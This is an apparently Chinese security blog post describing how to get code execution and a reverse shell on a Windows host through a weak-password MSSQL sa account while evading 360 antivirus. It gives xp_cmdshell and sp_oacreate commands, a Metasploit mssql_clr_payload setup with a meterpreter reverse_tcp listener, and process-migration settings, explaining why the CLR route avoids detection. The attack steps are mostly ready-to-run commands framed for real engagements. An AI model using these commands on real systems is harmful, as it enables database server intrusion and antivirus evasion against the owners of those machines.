现在只对常读和星标的公众号才展示大图推送,建议大家能把潇湘信安“设为星标”,否则可能看不到了...!
0x01 前言
朋友实战中遇到的场景:MSSQL弱口令,sa权限,安装有360全家桶,问如何绕过360上线?
0x02 前期测试
判断当前是否为dba权限,为1则可以提权
select is_srvrolemember('sysadmin');
查看是否存在xp_cmdshell
exec sp_configure 'xp_cmdshell', 1;reconfigure;
查看能否使用xp_cmdshell,从mssql2005版本之后默认关闭
select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell'
开启xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;exec sp_configure 'xp_cmdshell', 1;reconfigure;
关闭xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;exec sp_configure 'xp_cmdshell', 0;reconfigure;
执行命令xp_cmdshell
exec master..xp_cmdshell 'cmd /c whoami'
但如果目标主机有360时就一定会拦截,常见返回报错不是5就是拒绝访问。
sqlmap也一样,xp_cmdshell都是在sqlservr.exe进程下起一个cmd.exe子进程来执行命令和程序的,这也就是360拦截原因,检测了sqlservr.exe进程链。
注:MSSQL堆叠注入执行多条SQL语句时必须加上;分号,否则无法正常执行,而客户端连接MSSQL数据库执行多条SQL语句时只需换行即可,不能用;分号,否则也可能无法正常执行。
0x03 绕过方式
这时只需要在命令行下随便输入个字符回车执行即可成功上线,360全程无拦截。
(2) sp_oacreate
开启Ole automation procedures
exec sp_configure 'show advanced options', 1;reconfigure
exec sp_configure 'ole automation procedures',1;reconfigure
执行命令sp_oacreate
declare @o int
exec sp_oacreate 'wscript.shell',@o out
exec sp_oamethod @o,'run',null,'C:\ProgramData\360.exe'
(3) mssql_clr_payload
use exploit/windows/mssql/mssql_clr_payload
set rhosts 192.168.1.109
set username sa
set password 123456
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.120
set lport 443
这里可以看到CLR这种利用方式也不是调用cmd.exe执行的,没有创建任何子进程,而是直接运行在sqlservr.exe进程下了,所以360不会对其拦截!!!
0x04 文末总结
修改哥斯拉命令执行模板、EfsPotato插件将我们的免杀马做为程序执行上线MSF时建议加个进程迁移,否则执行后哥斯拉可能会卡住,执行不了任何操作。
set AutoRunScript migrate -f
set AutoRunScript post/windows/manage/migrate NAME=notepad.exe
注意:看到有师傅说这种方法也会被拦,不知道他是不是开了核晶模式?但我这里没有拦,不知道什么情况,大家在实战中自己多去测试下吧......!
关 注 有 礼
推 荐 阅 读